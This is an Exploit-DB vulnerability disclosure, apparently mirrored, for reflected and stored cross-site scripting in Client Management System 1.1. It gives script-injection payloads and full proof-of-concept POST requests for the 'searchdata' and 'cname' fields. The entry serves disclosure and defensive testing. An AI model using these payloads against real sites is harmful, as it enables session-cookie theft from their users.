Client Management System 1.1 – ‘cname’ Stored Cross-site scripting (XSS)

• Exploit Database
• 17 阅读

• 作者： Mohammad Koochaki
  日期： 2021-08-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50177/

• # Exploit Title: Client Management System 1.1 - 'cname' Stored Cross-site scripting (XSS)
  # Date: 2021-08-04
  # Exploit Author: Mohammad Koochaki
  # Vendor Homepage: https://phpgurukul.com/client-management-system-using-php-mysql/
  # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10841
  # Version: 1.1
  # Tested on: Ubuntu 20.04.2 LTS, PHP 7.4.3
  
  ### This application is prone to a cross-site scripting in the 'searchdata'
  parameter at the following path:
  - Reflected: http://localhost/admin/search-invoices.php
  - Reflected: http://localhost/client/search-invoices.php
  - Stored: http://localhost/client/client-profile.php
  
  ### Payloads:
  - Reflected: </h4><script>alert(document.cookie)</script>
  - Stored: "><script>alert(document.cookie)</script>Anuj+Kumar
  
  ### PoC:
  
  ## Reflected:
  POST /admin/search-invoices.php HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
  Firefox/78.0
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 77
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/admin/search-invoices.php
  Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs
  Upgrade-Insecure-Requests: 1
  DNT: 1
  Sec-GPC: 1
  
  searchdata=</h4><script>alert(document.cookie)</script>&search=
  
  
  ## Stored:
  POST /client/client-profile.php HTTP/1.1
  Host: localhost
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
  Firefox/78.0
  Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 335
  Origin: http://localhost
  Connection: close
  Referer: http://localhost/client/client-profile.php
  Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs
  Upgrade-Insecure-Requests: 1
  DNT: 1
  Sec-GPC: 1
  
  cname="><script>alert(document.cookie)</script>Anuj+Kumar&comname=PHPGurukul+Programming+Blog&address=New+Delhi&city=New+Delhi&state=Delhi&zcode=110001&wphnumber=9354778033&cellphnumber=9354778033&ophnumber=9354778033&email=phpgurukulofficial%
  40gmail.com&websiteadd=https%3A%2F%2Fphpgurukul.com&notes=New+User&submit=